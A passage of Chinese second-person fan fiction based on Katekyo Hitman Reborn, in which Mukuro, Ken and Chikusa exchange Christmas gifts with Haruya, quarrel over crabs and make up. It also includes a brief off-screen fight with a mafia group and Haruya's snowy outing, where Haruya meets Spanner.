你很早之前就觉得,柿本千种的眼睛很特别,像古井无波的深蓝幽渊,又像静谧古老的青金石,只看一眼,就再也忘不了。 而现在,他那双漂亮的眼睛里完全倒影着你。 你听到柿本千种在说话,平静清冷的嗓音响在你耳畔,像是在撒娇。 “春也,帮我。” 撑开针织帽,你顺着柿本千种头发的生长方向戴上,理好帽子边缘,你捏着柿本千种的下巴左右检查了下,确认没问题后,你满意地点头。 你往沙发后靠了靠,露出全部的柿本千种。 “犬,骸骸,你们看,怎么样?” “戴上帽子,小柿很有人样啊。”城岛犬点头赞同,不过很快,他又把注意力放在自己的礼物上。 “本大爷真是迫不及待接收春也的礼物了啊!” 城岛犬盘腿随意坐在地毯上,他的礼盒是最大的。 城岛犬拆礼物的动作就比柿本千种随意多了,但他也没像拆零食那样暴力,急切的动作勉强残留了一分温柔,城岛犬三下两下除掉金光闪闪的包装。 “哇噢!!”城岛犬眼睛泛光,是他最爱吃的零食!一大堆零食几乎摆满了整个礼盒,城岛犬一一把它们扔到沙发上,最底下还有一个方方正正的扁盒子。 “底下还有!” 城岛犬兴奋地继续拆盒子,打开的一瞬间,城岛犬没声了。柿本千种疑惑看过来,眨了下眼,手指握拳抵住嘴巴,柿本千种缓缓开口:“很适合犬。” “哈?”城岛犬不可置信,“哪里合适了?!!” “而且,混蛋小柿是在忍笑吧!绝——对是在偷笑啊!!” “我没有。”柿本千种放下手,他一脸平静。这点小事,根本不会引起他的情绪波动。 “骗人!本大爷都看到你嘴角的弧度变了!!”城岛犬吵吵嚷嚷。 六道骸浅浅发来赞同:“确实合适呢。” “怎么连骸大人都这么说?!” 你望着自己精心挑选的兽耳头饰和尾巴,还有一件制服款的蓝色衬衫和牛仔短裤,搭配着小领带,颜色亮丽又活泼。 你完全可以想象它们穿在城岛犬身上的样子。当初你一眼就相中了它们,尤其是狗狗兽耳和尾巴。你跟确信,不会再有比犬更适合它们的人了。 “犬,快试穿一下。” 你拿过城岛犬手里的兽耳头箍,跪坐在毛毯,你在犬的脑袋上箍好兽耳。 手指轻轻捏了捏软硬适中的狗耳朵,你简单调整了下兽耳的弧度。 你把新衣服塞入城岛犬怀抱,连同尾巴一起,你揉了揉城岛犬的金发,“犬先去试穿下衣服,别忘了尾巴。” 戴着崭新帽子的柿本千种慢慢把打开的礼盒恢复原样,他看着城岛犬嘴上嘟囔着不满,实际在你的期待下乖乖走到房间内换装,柿本千种不明显地笑了下。 搞定两个,你把最后的目光投向小凤梨。 六道骸早就神不知鬼不觉拆开了礼物,指尖微顿,六道骸盯着礼盒里的巧克力和凤梨头套,他皮笑肉不笑地看向你。 你完全没在意六道骸的表情,取出凤梨头套,你一脸真挚:“我梦到过超级让人安心的大凤梨,就和骸骸一样。” “而且,骸骸不觉得,这个头套超级适合你吗!” “kufufufu…我不觉得呢。”六道骸反驳了你的话,不过到底是你送他的第一份礼物,六道骸还是收下了。 你送的巧克力种类有很多,其中还有各种口味的巧克力奶,六道骸盯着原味巧克力奶陷入沉思,他选择拆开喝一口。 “这是我对比了很多家才选择的。”以前买东西你就习惯货比三家,所以你很少踩雷,你星星眼地等待六道骸的评价,“怎么样?” “春也怎么会想到买这个?”蓝眼睛微微亮起,六道骸眯起眼睛又喝了一口。 忙着找黑手党复仇,现阶段,六道骸他们根本没有闲心开启新生活,而你的存在,让他们染满仇恨的心里撕裂出一道温暖的缝隙。 想起刚刚你分发礼物的样子,六道骸心里诡异升起了一股欣慰感。 凤梨头套似乎不太受凤梨头的喜爱,它暂时被搁置在一边,六道骸惬意地捧着巧克力奶,他慢悠悠提醒道:“再不吃,饭就要凉了呢。” “犬还没来呢。”你抬头看向犬房间的方向,“犬——” “来了来了。”城岛犬凶巴巴地大声回应你,他磨磨蹭蹭走了出来,手不自在地摸了摸身后的大尾巴,城岛犬浑身上下写满了不自然。 起身的动作顿住,灰蓝的眼睛瞪圆,你惊叹地看着犬现在的模样。 ——棉质的蓝色衬衫穿在他身上清爽又干净,大约是冷,城岛犬没有换上牛仔短裤,他依旧穿着黑色长裤。骨节分明的手指拽了下胸口的小领带,你的主要视线都在他身后的大尾巴上。 柿本千种平静地感叹:“更像犬了。” “春也挑衣服的品味,很好。” 六道骸喝了口巧克力奶:“哦呀,可以记录下来呢。” “咔嚓!” 一道清亮的响声出现,柿本千种相当上道地拍好照片。 犬的黑历史,记录一下。 四个人在一起,果然很需要一个相机。譬如此刻,柿本千种就很庆幸自己买下了一部相机。 以后,他会慢慢存满你们的生活。 第35章 一开始, 城岛犬并不习惯自己身上的大尾巴。兽耳姑且还能忽视,但尾巴的重量太有存在感,城岛犬做不到刻意无视。 但在你一声一声的夸赞下, 城岛犬逐渐习惯, 甚至, 他还蹲坐在地上绕圈圈地追逐自己的尾巴, 你在旁边看得开心。时刻关注你的城岛犬拐了个弯,他兴奋地扑着你一起倒在毛毯上, 像互相打闹的小狗, 你们在毛毯上欢快笑出声。 六道骸捧着巧克力奶,被打闹的你们吸引注意力, 他的视线一直落在你和犬的身上。嘴角浮起不明显的笑意,他慢悠悠喝了口巧克力奶。甜甜的口感意外对上他的胃口,六道骸忍不住又喝了一口。 “春也,先来吃饭。”冬天的饭菜冷得比较快,柿本千种热好一轮饭菜, 见你还和犬滚在毛毯玩闹,他走过去将你从城岛犬的怀里拉起, 他用最吸引你的螃蟹来诱惑你。 “春也不想吃螃蟹了吗?趁热吃, 螃蟹的味道会更好。” “还有犬,沙发上全是你的零食。”柿本千种扫了眼杂乱的沙发,他平静移开眼,“吃完饭,犬好好收拾一下。” 城岛犬也跟着起身,坐在自己的位置,他看了眼摆满零食的沙发,城岛犬只觉得内心满满的满足, “哪里乱了啊,看着很舒心嗷。” “犬。”柿本千种语气毫无起伏地叫了声城岛犬的名字。 “嗨嗨,知道了知道了。”虽然有在不满,但城岛犬还是乖乖应声了。 你最心心念念的自然就是那一锅又大又香的螃蟹,橙红亮眼的熟螃蟹在你眼里闪闪发光,你第一个就注意到了它。 你还惦记着你最后选中的那只大红螃蟹,准备挑选的时候,你惊讶发现千种已经把它放在了所有螃蟹的上方,你轻而易举就抓到了它。螃蟹被千种捆得很好,你一一掰掉它们的完好的八只脚,指腹碰上刺棱的蟹壳,把螃蟹身体彻底掰开来时,你柔软的指腹也不小心被它刺伤。 “连吃螃蟹都能受伤……”余光注意到这一幕,六道骸放下手中一直捧着的巧克力奶。抬手捏住你的手,六道骸的目光落在你指腹上溢出的红色小血滴,他幽蓝的眸子愈发深邃。 柿本千种找好医药箱,碘伏和棉签规整地摆在你们面前,六道骸暂时制止了你还想继续吃的动作:“先来包扎。” 六道骸就坐在你旁边,你一转身就能看到他的凤梨脑袋,说这话的时候,他脸上的笑意不见,你只看到靛青色的小凤梨头认真拿起棉签蘸上碘伏,温和不刺激的碘伏擦拭在你指腹,你没有感觉地看棕色晕染你的指腹,短短几秒,血止住了。 你没有再说些不必要的话,既然是骸骸他们的关心,你安心受着就好。 “春也,好笨。” 柿本千种拿过你的碗,处理螃蟹的工具早就被他放在了桌子上。柿本千种取出蟹腿,剪刀干脆利落地剪断蟹腿关节,接着用长柄勺轻轻一推,完整的蟹腿肉就丝滑落到了面前干净的小碟子里。 蟹身是远比蟹腿更麻烦的东西。 “讨厌螃蟹”,嘴上这样说着,但柿本千种还是诚实地拿起了刚刚刺伤你的蟹身,汤汁瞬间沾满他干净的手指,柿本千种微微皱眉,但还是缓慢又认真地撬开螃蟹壳。 蟹腮蟹嘴……一步步去掉不能食用的部分,柿本千种异常耐心地将讨厌的螃蟹处理得干干净净,蟹黄和蟹肉全都好端端地摆在蟹壳,你只需要用勺子轻轻一挖,就可以开吃了。 六道骸包扎完你的手指后,你便一直注视着柿本千种的动作。这不是千种第一次给你剥螃蟹,虽然他讨厌麻烦也讨厌螃蟹,但只要你开口,就算脑子还不情愿,但身体已经很诚实地开始动作了。 “吃吧。” 一直被你盯着的修长手指离你的视野更近了,你看过去,才发现千种已经处理完了一整只螃蟹,你惊叹地看着千种,亮闪闪的眼里恍若碎满星辰。 “千种好厉害!螃蟹处理得超级干净呢!” 城岛犬若有所思地盯着面前的螃蟹。以前都是千种替你处理的螃蟹,你也没有什么特别的反应,但是现在你已经学会了夸人,城岛犬的脑子忽然灵光,也不像以往那样嘲笑千种脏兮兮的手指了。 “别以为这么说就会下次。”柿本千种别过脑袋,发红的耳根暴露在你面前,你惬意地挖起满满一大勺的蟹黄,没几下,你就吃完了一只螃蟹。 还没等你再开口说话,你的面前再次送到一蟹壳的蟹肉,抬头望去,是城岛犬。 在你们说话的间隙,他给你剥好了一只小螃蟹。见你看过来,城岛犬露出犬牙:“春也吃我的。” 犬处理的螃蟹要比千种粗糙些,但也不错,你揉了揉犬凑过来的脑袋,“犬最好了!” 擦拭纸巾的手指一顿,柿本千种看看你又看看城岛犬,视线盯着讨厌的螃蟹好一会,眼看螃蟹全都要被犬剥完,千种动作不随自己意志地拿起一只螃蟹。 他果然最讨厌螃蟹了。 六道骸稳稳捧着巧克力奶,看着犬和千种稚嫩的讨好手段,六道骸根本不会在意。眼看你即将吃完所有的螃蟹,意识到这两个家伙已经靠不住的六道骸无情夺走了你的最后一只大螃蟹。 “!” 无视你的震惊,六道骸慢条斯理地开始拆螃蟹。虽然他对螃蟹的兴趣不大,但能看到你脸上出现其他反应,也很有意思呢。 六道骸不紧不慢地提醒你:“春也忘了吗?当初说好只能吃三只,现在春也已经远超数量了啊。” 你自然早就把不合你心意的话抛到了九霄云外,距离午夜十二点没几个小时了,你还不能让自己享受一点螃蟹吗? 但面对六道骸似笑非笑的神情,你还是收敛了自己嚣张的气焰。毕竟,你的螃蟹还在他手上呢。 你也不说话,就这样直直盯着六道骸看。眼尾下弯,你灰蓝的眼睛雾蒙蒙的,垂下的手轻轻扯了扯六道骸的衣角,你表情真挚地看着小凤梨。 拉长尾调,你慢慢凑近六道骸:“最后一次,骸骸~” “骸大人,要不还是给春也吧,反正也只有一只了。”拆蟹拆得最快速的城岛犬第一个说话,要不是骸大人提出这一点,城岛犬都没发现你几乎吃完了所有的螃蟹。 “吃掉所有和只留下一只,也没什么区别。” “kufufu…犬倒是会说话。”淡淡的目光瞥向柿本千种,“千种呢,你的想法也和犬一样吗?” 柿本千种不说话,但他看着你的视线已经说明了一切。六道骸忽然有股孤立无援的错觉,在这个家,真正能狠下心管教你的,也只有他了呢。 这样想着,六道骸无情当着你的面,吃下了最后一只螃蟹。 …… “啊,春也生气了。” “嘘,小点声,你也不想被春也赶出房间吧。” 第36章 你和讨厌的凤梨头冷战了。 主要是你单方面对他的冷战。具体表现在, 以往你们四个人都会睡在一起互相取暖,但现在留给六道骸的只有隔壁冷冰冰的被窝。自然,如果犬和千种想要去陪骸骸睡, 你也不会反对, 不过看结果, 骸骸并没有得到温暖的被窝呢。 柿本千种趴在床头翻看着自己刚刚拍下的照片, 饶是他,也没能料到你和骸大人之后还会有这个小插曲。不过, 就算骸大人和你闹脾气, 也没有耽误柿本千种后续的拍照。 观察着大家的表情,柿本千种忽然发现, 无措的骸大人和生气的春也也很可爱呢。 在心里默默对伟大的骸大人道歉,柿本千种决定把这些珍贵的照片全都打印下来。正好骸大人又有换地址的想法,新的相片可以带到你们的新家装饰起来。 “哇,小柿又在看什么,笑容好险恶!”背上一重, 城岛犬没有自觉地扑了上来,柿本千种整个人都被压入软塌塌的被窝里, 脸埋进你的枕头, 柿本千种的手在空中虚虚抓了抓,在你洗完澡出来的一秒后,柿本千种的手无力垂下。!!! 这是什么恶犬深夜谋杀无辜柿子的可怕场景啊。 “笨蛋犬!”你立刻上前揪住犬的衣领,你努力提溜起很有分量的犬,后者顺着你的力道起身,你只以为是自己的努力起效了。双手叉腰,你生气地看向城岛犬:“千种都要窒息了!!” “哈?怎么可能?”城岛犬很了解柿本千种,这点力道和黑手党们的攻击来比, 根本只是挠痒痒。 “春也太大惊小怪了啊,你看,小柿根本就没事啦。”城岛犬不是很能理解你的紧张,他大大咧咧地拍了拍倒地不起的柿本千种,“喂,小柿,快点起来啦!” 你瞪了还在不断叭叭叭的城岛犬一眼,在你凶巴巴的注视下,城岛犬莫名收敛了动作,他呆呆看着你瞪人的表情,城岛犬只觉得你做什么都好看。 你没有理会旁边突然发呆的犬,弯下腰,你关切地看向一直埋在枕头里没出来的柿本千种,你揉了揉他乱糟糟的黑发,“千种,你没事吧?” 柿本千种早就听到了你的动静,现在,听到你在他耳边安慰,柿本千种这才慢吞吞抬起头。睁着那双无机质的漂亮蓝眼睛,柿本千种语调平静地叫你的名字:“春也,我没事。” 凌乱的黑发、因为缺氧而变得雾蒙蒙的眼睛、缓慢的语速……怎么看也不像是没事的样子啊。你担忧地摸了摸柿本千种软乎乎的脸蛋,“真的没事吗?怎么感觉你傻了啊?” 这个年纪的小孩长得很快,营养跟上后,千种、犬,还有骸骸的脸上都长了不少肉,但是身体还是硬邦邦的一团,没有半点软肉的手感。 柿本千种眨了下眼,他乖巧地顺着你的手蹭了蹭,“有春也在,傻点,没关系。” 你绷着小脸保证道:“就算千种变傻,我也会照顾千种一辈子的!” 还在回味的城岛犬回过神就发现了你对千种的誓言,城岛犬一脸震惊:“怎么可能就这样变傻啊!而且春也是不是忘记了什么?我呢我呢?我也要春也照顾一辈子!” “不对,我会照顾春也一辈子!”学聪明了的城岛犬立刻转变话语,他不满地把你和千种同时扑倒,“小柿好坏,又瞒着我和春也做约定!” 柿本千种本想反驳,但想到他和你还真有一个约定,柿本千种陷入沉默,他默默把脸埋入你发丝,好似这样就能降低自己的存在感。 城岛犬继续将矛头对准你,他控诉道:“春也也是!每次都没有奖励我!” 你疑惑歪头,城岛犬直白地表达了自己的委屈,“你每次奖励的都是小柿,连骸大人都很少得到春也的奖励!” “我什么时候奖励千种了?”礼物都是买了所有人的,你完全没有厚此薄彼,你也没有单独送给千种小礼物。 城岛犬尚且年幼,也还没有开窍,他直白清澈的大脑里只有着模模糊糊的想法和情绪。就像不会隐藏对骸大人的崇拜,他也学不会隐藏对你的喜爱。 捂住嘴巴,堵住耳朵,像火星一样的喜爱,在看到你的一瞬间,也会在眼睛里重新燃起熊熊大火。 “拥抱。”但是,真正说出口,城岛犬还是调小了音量,“春也都不主动抱我。当然,还有骸大人也是。” 说着,城岛犬欲盖弥彰地又补充了句。 “犬,吃醋了。”柿本千种语气没有起伏的作为旁白补充。 “哈?本大爷才没有吃醋!”城岛犬立马像被踩了尾巴一样跳了起来。 “等等,不要在床上乱跳啊笨蛋犬!” 床很软,因为犬的动作,你和千种歪七歪八地倒在一起,很快,笨蛋犬也重重摔在你们身上,尽管他竭力避开你和千种,但可怕的重量还是朝你压了过来。 房间内热热闹闹,房间外冷冷清清,六道骸站在房门前听着你们的吵闹声,他怪笑两声,盯着挂在房门前“禁止可恶骸骸进入”的手写标语,六道骸冷哼一声。 Kufufu…他根本不会在意你幼稚的行为,区区一个人睡而已,他早就习惯。靛青色的发丝在空中划出漂亮的弧度,六道骸缓缓回到自己的小房间。 从抽屉里拿出给你准备的礼物,六道骸冷笑着把他塞回抽屉最底层。是他太宠着你了,这一次,他绝对要让你知道,反抗他是一件多么可怕的事情。 洗漱完毕,一个人独自躺在冰冷的床上,六道骸听到隔壁欢快的吵闹声,小小的嘴脸不自觉绷得越来越紧。 忍不住用被子捂住耳朵,六道骸睁着眼睛,脑子里一会想没有他你会不会又做噩梦,一会又想以前怎么没发现犬和千种这么能讲,一会又想你之后和他认错的话他还有什么反应…… 想来想去,六道骸一直没能睡着。 哦呀哦呀,一定是你们太吵的原因。六道骸猛地掀起被子,他穿好拖着哒哒哒往外走,来到门口,像是忽然想起什么,六道骸又哒哒哒返回抽屉前。 从最里面拿出要给你的礼物,六道骸慢吞吞来到你房门前。将小小的礼物塞入早早挂在门口的袜子里,六道骸又看到了那个手写标语。 古怪笑了两声,余光瞥到沙发,迟疑片刻,六道骸还是坚定朝着沙发走去。 他只是好心发现了你规则的漏洞而已,戴上凤梨头套的六道骸这样想着,才不是承认了他是个凤梨。 不过,kufufu…这下你应该会意识到,语言严谨的重要性。 重新来到你的房门口,六道骸一边思考着要警告你们的话,一边敲了敲房门。 …… 门开了。 ——是你开的门。 六道骸摆好姿势和表情,正要开口时,他听到你双手抱胸,然后硬邦邦地朝他开口:“骸骸知道错了嘛?” 瞥了眼在你床上偷窥的两个人,虽然犬和千种动作很快地缩回脑袋,但六道骸还是看到了他们。 等等,那个“咔嚓”声!六道骸在心底念着罪魁祸首的名字,等他解决完你,再来处理胆子变大的千种! 清咳了一下,六道骸起了个头:“kufufu…” 你冷哼一下,盯着六道骸的凤梨头套,你的气已经消了大半。 “不是来道歉的嘛……那我关门了。” 六道骸不自觉睁圆眼睛,他下意识抬手卡住房门,“等等。” 思考半天,六道骸瞥见你气鼓鼓的表情,眼见你掰开他的手真的打算关上门,嘴比脑子更快一步说出口: “我错了,春也。” 你其实也没想到六道骸真的会来和你道歉,更何况,看到六道骸戴了你送的凤梨头套,你早就平复了心情。 所以,你果断原谅了小凤梨。 你拉着小手冰冷的六道骸进了屋。 看到你这么轻易就消气,六道骸故意哼笑一声:“你不是说我不能进来吗?” “不能进来的是骸骸,你现在是凤梨呀。” “巧言善辩。” 六道骸似乎还不开心,抿了抿嘴,你凑到他耳边小声说道:“下次我会克制的,不吃这么多螃蟹。骸骸对不起~” 六道骸愣住,半晌,他对你露出一个温柔的笑,“kufufu…最好是这样。” 最后,直到躺入温暖的被窝,开始复盘的六道骸怎么也没想通。 最开始,他明明是在等你道歉,怎么最后反倒是他主动开口求和? kufufu…问题不大,反正你也确实和他道歉了,而且,没看到现在你已经完全被他的态度蛊惑住了吗? 六道骸心满意足地抱住你入睡。 ——就是原谅你原谅得太快了,下一次,他会让你求饶得更久些。 第37章 第二天, 你早早醒了过来。 睁着眼睛,你扭头看了眼你左右。比较意外的是,你没想到今天骸骸、犬和千种他们都在。你平躺在床上, 骸骸和犬安静抱着你, 像三株藤蔓, 你们彼此扭曲地缠绕在一起。 六道骸睡着的时候可比醒的时候乖多了, 肉乎乎的脸蛋天真无邪,精致的长相就像西方神话里描绘的天使一样, 你伸出手指, 小心翼翼戳了下他的脸蛋,你好奇地观察小凤梨的反应, 结果六道骸只是更加将脑袋往你的颈窝深处埋了埋。 你瞬间不动了,等待一会,确认这两个人都不想醒,你慢吞吞从他们的怀抱里缩出去,艰难的动作下, 你终于从软塌塌的温暖被窝里起身。 干脆往单薄的睡衣睡裤上套好毛衣,你直接把它们当成棉毛衫穿在里面, 套上短外套, 你最后看了眼睡着的六道骸和城岛犬,你这才发现柿本千种不在这。没怎么担忧,联想前几次的经历,你知道柿本千种肯定是在厨房处理你们的早餐。 打开门,你顺手拿起挂在上边的圣诞袜子,你掂了掂重量,比你想象的轻得多。肯定是骸骸昨晚过来时放的礼物,毕竟进房间之前你还特意摸了摸袜子, 按个时候圣诞袜里面什么都没有。 眼底不自觉漫上笑意,你欢快拎着圣诞袜来到沙发上,城岛犬的零食还散落在上面,昨天晚上他根本就没有收拾,只是吃掉几包零食全当解决而已。 你一包一包把零食堆积成山,沙发瞬间被你理出了一大部分干净的区域,你窝在沙发上,毛毯盖住腿,你把圣诞袜里东西全都倒了出来。 让你看看骸骸给你准备的是什么礼物。 …… 一个黑色的小匣子。 很普通的一个黑色小木盒,你端起木盒上上下下左左右右全都看了一遍,你有些惊讶木盒的装饰。雕刻着无名花朵的木盒低调又奢华。你脑子里漫无边际猜测着骸骸会送给你什么礼物,你缓缓打开盒子。 也许是一束花,不过也有可能是整蛊小玩具,骸骸这家伙是有点恶趣味在身上的……未知总是引人好奇,“咔哒”一声,平平无奇的木盒开了。 拿着木盒的手顿住,你愣愣看着木盒里的几张轻飘飘的纸,大脑一片空白,你完全是依靠本能才能拿起它们。 “今…春…也……” 对照着,你缓缓念出了上边自己的名字。 ——是一个崭新的身份证件,后边还有一系列关于你能留在异世界的身份证明。 “春也已经打开了啊。”柿本千种煮好标准的意大利肉酱面,四双碗筷整整齐齐地摆放在桌面,看到你还呆呆坐在沙发上,柿本千种走到你面前。 “骸大人说,那边的证件比较难搞到手,不过这个时间段那边对于证件查得也不算严。”柿本千种看着怔愣的表情,有一瞬间,他险些以为你要哭出来。 柿本千种弯腰抱住你,像安抚小动物,他的手指上下抚摸着你的脊背。 “以后,春也彻底自由了。” “但是出门最好还是不要离开我们啊。”打着哈欠,城岛犬顶着乱糟糟的头发出来了,被香味吸引过来,城岛犬Duang地一下坐在面条前,扭头看向还落在后面慢悠悠走着的六道骸,城岛犬忍不住出声催促:“骸大人快点啦,面条要凉了——” “本大爷也要饿死了嗷——” “kufufu…也不是问题。”六道骸慢悠悠走了过来,“毕竟,我会时刻注视你呢。” 你的身体已经是他的了,六道骸自然不会允许除他以外的人破坏。 捏着你的证件,你抬头默默盯着骸骸、犬和千种,明明跑出地狱的前一秒,你还在思考成为黑户的你该怎么在毫无人生安全保障的异世界存活下去。哪怕遇到了骸骸、犬和千种,对于自己黑户的身份,你也时时刻刻处在莫名的不安之中,直到现在,你的心终于落到了实处。 “哦呀哦呀,这是感动哭了吗?”六道骸古怪笑了两声,还没等他再说些正常人听不懂的谜语话,你猛扑到了六道骸身上。 “骸骸……” 压抑着哭腔,所有来自异世的恐惧不安痛苦终于消失,你知道你可以彻底告别过去,真正往前看了。 漂亮的异瞳愣住,你滚烫的泪珠没入他的衣领,六道骸浑身一僵,他第一次知道了手足无措是什么意思。六道骸从来没有见你哭过,也许是因为你没有痛觉,遇到残忍对待时,比起无用的哭泣和求饶,你更多的是记仇和攻击谩骂。 六道骸最初有想过你那双漂亮的眼珠沾满动人的泪水会是什么模样,等到真正看到,六道骸忽然又觉得,比起哭泣,你的眼睛更适合染满动人的笑意。 当初,他怎么会想到要你哭呢?那可真是最错误的想法呢。 城岛犬也不盯着诱人的肉酱面了,他和柿本千种一起来到你的面前,城岛犬担忧地看着你,柿本千种虽然面上不显,但眼睛一眨不眨地盯着你看。 指腹轻轻擦拭着你眼角的泪水,六道骸无奈摸了摸你的脑袋,“不要哭,春也的眼睛可不是用来流眼泪的呢。” 城岛犬不会安慰人,他焦急地围着你转来转去,“春也要是想一个人出门玩也可以啊,反正骸骸…骸大人会一直盯着你的安危,有危险交给骸大人就好。” 六道骸安抚你的动作顿住,他皮笑肉不笑地看着自认为提出好建议的“好”家人,手指往虚空一抓,三叉戟毫不留情地戳上城岛犬的脑袋,“犬,你倒是提了个好建议啊。还有,下次别再让我听到你那个诡异的称呼!” “哇哇!!骸大人不要再打了啊!”城岛犬抱头逃窜,“一时口误,是一时口误哇!” 可恶,春也叫骸大人骸骸的时候,骸大人怎么没有这么激烈的反应啊? 看穿一切的柿本千种沉稳地托了托下滑的眼镜,他再次看向你,发现你被犬的动静逗笑后,柿本千种嘴角不明显地上翘了一点。 果然,这种事情还是得靠犬来打破啊,骸大人都快要僵直了呢。 和骸骸、犬、千种他们想的不一样,拿到证件后,你一个人默默待在房子里好几天。等到六道骸都忍不住想要出声询问你时,难得见太阳的一天,你终于出动了。 “春也真的不要我们陪着吗?”城岛犬趴在玄关门口地衣架上,他紧张兮兮地盯着你跨好小背包,明明是春也的第一次正式出门,他却表现得比你还要紧张。 “不——要——”你拉长音,“说好的,我要一个人出门,反正犬说过的嘛,有骸骸在。” “kufufu……”六道骸用笑声回应了你。 柿本千种替你整理好帽子和衣领,将凌乱的头发重新梳理整齐,在你即将出门前,他下意识握住你的手。你扭头疑惑看他,柿本千种这才慢吞吞收回手。 “春也,小心点。” “知道啦!” “砰”的一声,你关上了大门,热闹的房屋再次归于冷寂,三个人的心里忽然有些空荡荡的,还没等他们动作,大门再度在他们眼前打开。 你探出一颗小脑袋:“忘了说,不准跟着我哦,不然我会生气的!” “砰!” 大门这下彻底关闭了,城岛犬和柿本千种面面相觑,他烦躁地抓了抓头发,“那我们还跟吗?” “犬是笨蛋吗?春也会生气。”柿本千种默默盯向骸大人,现在,有能力探查而不被发现的,只有六道骸了。 迎着犬和千种的眼神,六道骸古怪笑了几下:“我的幻术可不会作用在偷窥人身上。” 听到骸大人的话,城岛犬和柿本千种忽然安心。 “好了,走吧。”六道骸打开门,“我们也该继续我们的任务了。” 十秒过后,走在路上,六道骸没忍住分出一缕心神查看你的状态。 第38章 和犬、千种、骸骸的担忧不同, 你的心情是前所未有的轻松。 你依旧戴着那副黑漆漆的墨镜,米白色的围巾将冷风隔绝在外,你迈着欢快的步伐, 大约是心情好的缘故, 你无视了那些若有若无的视线。 今天是工作日, 人们西装革履地匆匆路过, 你新奇走在柏油路上。 昨夜下了场雪,尽管车辆开出一条宽敞的道路, 但依旧有残雪堆积在路面。 你看向湿漉漉的柏油路, 车辆行驶过后,本就有些脏污的雪面更加污秽, 你小心翼翼地避开脏兮兮的雪面,转而踏上另一端干净的雪面。 未被车辆沾污过的白雪齐整干净,你一脚踏了上去,瞬间,饱满的雪堆塌陷下去。雪堆几乎覆盖住你的小腿肚, 你还得用点力才能把深陷的腿拔出来。 在南方,你从未见过这么大场面的雪。幼时, 你只听奶奶提过她年轻时遇见的那场大雪。 纷扬的落雪、烘热的暖炉、呼啸的冷风, 组成了你对整个冬日的期待。 一开始,你还有些小心翼翼,但很快,习惯雪堆的触感后,你稳稳踩在上面行走。 “嘎吱嘎吱”的踩雪声如影随形,忽然,一阵清脆的笑声传来,你看过去, 有个陌生的小孩正和你一样,欢快地在雪堆里跑来跑去。 六道骸看到你的时候,你正放开手脚在雪地里欢快蹦跶,稚气未脱的脸上满是轻松笑意,确认你周围没有危险,他稍稍放下心。 “啊啊,也不知道春也现在在干什么。” 脚下用力,城岛犬把黑手党痛苦的哀嚎声彻底踩碎,尖厉的牙齿泛着寒光,金刚形态的他抬手就能捏碎一个成年人的喉骨。 “犬,好脏。”柿本千种有点嫌弃地避开,他讨厌喷射的杂乱无章的血液,那会弄脏他原本干净的衣服。 “不要玩了,犬,早点弄坏,早点回家。” 柿本千种抬了抬眼镜,化作武器的溜溜球抬手就能取走一个人的性命。 “也不要把自己搞得乱糟糟的,春也不喜欢。” “小柿的要求好多,啊啊啊好麻烦。” 覆灭了小型黑手党的城岛犬伸了个懒腰,金色瞳孔冷冰冰倒映着地上的尸骨,他弯腰踩在最后一个存活者的脖子上,语气懒散又随意,“可不要怪我们哦,这可都是上头的命令呢。” “动作快点,犬。”柿本千种没什么感情地瞥了眼城岛犬脚下的黑手党,他们先开始针对的都是无恶不作的黑手党。 手指轻轻擦拭过眼尾不小心沾染的红色血珠,柿本千种平静地拿出手帕擦了擦手指上的血腥污秽。 他会随手携带手帕还是因为春也染上的习惯,柿本千种第一次见到脏兮兮的春也时,就想替你擦拭干净那些污秽。 “OK!”城岛犬摘下动物齿模卡匣,他双手插兜,姿态轻松地跃下台阶。 “我们先去找骸大人汇合,然后再去看春也!” 六道骸从你身上遁走,你疑惑抬头,只看到白到晃眼的雪堆。 周围都是匆匆路过的行人,偶尔有几个将目光放在你身上,但很快,发现你只是单纯地在玩雪后,路人不舍地从你身上收回视线。 真是奇怪,看到你开心的身影,他们的内心也会不自觉涌现出一股幸福的滋味。 和你接触不深,那点晦暗的占有欲还未冒头,就先被忽如其来的幸福感压了下去。 你只玩了一会就感到了不对劲。 从你踏入雪堆开始,似乎就有道视线一直注视着你。但和以往你见过的阴暗、黏稠、阴冷的目光不同,这道视线异常平和。 你疑惑抬头,你企图搜寻这道目光的源头,但很遗憾,放眼望去,除了川流不息的人群和车辆,什么也没有。 敏感的雷达扫视了一眼人群,你无法从密集的人群里发现异样。 来到十字路口,等待红灯时,你忽然瞥到另一侧的零件店铺,你空荡荡的大脑里总算想起了被你遗忘的某人。 带着你自己也不清楚的期待感,绿灯过后,你慢吞吞走向那间店铺。 奇怪的是,在你进入店铺后,那道一直紧紧追随你的视线忽然消失了。 “春也!” 略微惊喜的嗓音提高,熟悉的面孔朝你露出微笑,你惊讶地看着店铺内的斯帕纳,注意到他和以往无异的表情,你也准确叫出了他的名字。 “斯帕纳,你怎么会在这里?” 左侧发丝自然蜷曲的金发小男孩睁大眼睛,脸颊红扑扑的,斯帕纳自然来到你身边,他举起自己刚刚购买的一系列零件和设备,斯帕纳弯起眼睛。 “我来买东西。没想到会在这里遇到春也,Lucky!” “上次跟你说的机器人,我做出来了,春也要来和我一起欣赏吗?”斯帕纳自然朝你发出邀请。 你看着斯帕纳像狗狗一样期待的表情,你一时之间难以说出些拒绝的话语,但是,想到刚刚那道奇怪的视线,你又担心后续问题。 你大概也能猜测出暗地里偷窥变态的心思,如果让他看到你和斯帕纳走在一起,说不定原本平和的目光会顺便化为恶意,你倒是不害怕,但是斯帕纳只是一个普通人。 你还没有差劲到让普通人承担你容貌带来糟糕后果。尤其是,你并不讨厌斯帕纳。 你不是个会隐藏自己情绪的人, 纷乱的思绪扰乱你的大脑,你的脸上自然也呈现出忧愁和担忧。敏锐的斯帕纳注意到了你的情绪,他立马担忧地看过来。 “春也遇到什么困难了吗?” 你摇了摇头,没有说话。那道视线只是你的猜测,你并没有找到有人在看你的证据,更何况,你也不是一个喜欢和陌生人倾诉自己心事的人。 虽然你不讨厌斯帕纳,但到底,你只见过他一面,真要论起来,你们不过是只见过一面的陌生人而已。 斯帕纳并不知道你的想法,他早就单方面认定你是他的好友。不过,依照他的性格,就算知道了你的想法,斯帕纳也只会更加努力地让你认可他。 斯帕纳从口袋里掏了掏,忽然,像是发现什么,他的眼睛一亮,“这个,给你。” 粉色的糖果突兀又自然地填满了你的视线,你疑惑抬头,斯帕纳不明显地弯了下眼睛,“本来还以为都被我吃光了,没想到还有一个。” “甜味会刺激人的多巴胺,所以,心情不好的话,吃糖会开心一点。” 